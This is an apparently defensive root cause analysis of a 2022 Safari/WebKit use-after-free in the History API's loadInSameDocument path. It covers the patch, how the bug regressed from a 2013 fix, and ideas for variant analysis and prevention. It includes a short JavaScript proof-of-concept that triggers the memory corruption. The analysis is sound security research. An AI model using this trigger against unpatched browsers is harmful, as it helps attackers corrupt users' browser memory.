Maddie Stone

The Basics

Disclosure or Patch Date: 10 February 2022

Product: Apple Safari/WebKit

Advisory: https://support.apple.com/en-us/HT213093

Affected Versions: Safari 15.3, iOS 15.3, macOS 12.2 and earlier

First Patched Version: Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8), iOS 15.3.1, macOS 12.2.1

Issue/Bug Report: https://bugs.webkit.org/show_bug.cgi?id=235551

Patch CL: https://github.com/WebKit/WebKit/commit/486816dc355c19f1de1b8056f85d0bbf7084dd6e

Bug-Introducing CL: https://github.com/WebKit/WebKit/commit/aa31b6b4d09b09acdf1cec11f2f7f35bd362dd0e

Reporter(s): Anonymous

The Code

Proof-of-concept:

input = document.body.appendChild(document.createElement("input"));

foo = document.body.appendChild(document.createElement("a"));
foo.id = "foo";

// Go to state1 when history.back is called
// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
// Since the foo's element id="foo", focus will change to that element
history.pushState("state1", "", location + "#foo");

// Current state = state2
history.pushState("state2", "");

setTimeout(() => {

        // Set the focus on the input element.
        // During the call to back() the focus will change to the foo element 
        // and therefore triggering the blur event on the input element
        input.focus(); 
        input.onblur = () => history.replaceState("state3", "");
        setTimeout(() => history.back(), 1000);
}, 1000);

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? No

The Vulnerability

Bug class: Use-after-free

Vulnerability details:

The History API allows access to (and modification of) a stack of the pages visited in the current frame, and these page states are stored as a SerializedScriptValue. The History API exposes a getter for state, and a method replaceState which allows overwriting the "most recent" history entry.

The bug is that FrameLoader::loadInSameDocument takes the state as an argument (stateObject), but doesn't increase its reference count. Only a HistoryItem object holds a reference to the stateObject. loadInSameDocument can trigger a callback into user JavaScript through the onblur event. The user's callback can call replaceState to replace the HistoryItem's state with a new object, therefore dropping the only reference to the stateObject. When the callback returns, loadInSameDocument will still use this free'd object in its call to statePopped, leading to the use-after-free.

When loadInSameDocument is called it changes the focus to the element its scrolling to. If we set the focus on a different element prior to loadInSameDocument running, the blur event will be fired on that element. Then we can free the stateObject by calling replaceState in the onblur event handler.

Patch analysis:

The patch changes the stateObject argument to loadInSameDocument from a raw pointer, SerializedScriptValue*, to a reference-counted pointer, RefPtr<SerializedScriptValue>, so that loadInSameDocument now increments the reference count on the object.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

It seems reasonable that the vulnerability could have been found through watching the commits and seeing the initial fix from 2013 reverted in 2016, code auditing, or fuzzing. Fuzzing seems slightly less likely due to needing to support "navigation" which many fuzzers explicitly try to exclude.

(Historical/present/future) context of bug:

This bug was actually reported and initially fixed in 2013. In 2016 the fix was regressed during (it seems) refactoring. A full write-up is available here.

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies): N/A, no access to exploit sample

Exploit flow:

Known cases of the same exploit flow:

Part of an exploit chain?

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

  • Look for any commits where a reference-counted pointer was changed to a raw pointer.
  • Update fuzzer so that it could find this bug and therefore also hopefully provide coverage for other similar bugs too.

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

By default, arguments to functions should be reference-counted. Raw pointers should only be used in rare exceptions.

Ideas to mitigate the exploit flow: N/A

Other potential improvements:

  • The bug was killed in 2013 and re-introduced in 2016. It seems that this likely occured due to the large issues affecting most software dev teams: legacy code, short reviewer turn-around expectations, refactoring and security efforts are generally under-appreciated and under-rewarded, and lack of memory safety mitigations. Steps towards any of these would likely make a difference.
  • The two commits that reverted the 2013 fix were very, very large commits: 40 and 94 files changed. While some large commits may include exclusively no-ops, these commits included many changes affecting lifetime semantics. This seems like it would make it very difficult for any developer or reviewer to be able to truly audit and understand the security impacts of all the changes being made.

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

The code to trigger this vulnerability is pretty generic. I think any detection would have to be around exploitation method, which we couldn't analyze in this case since we didn't have access to the exploit sample.

Other References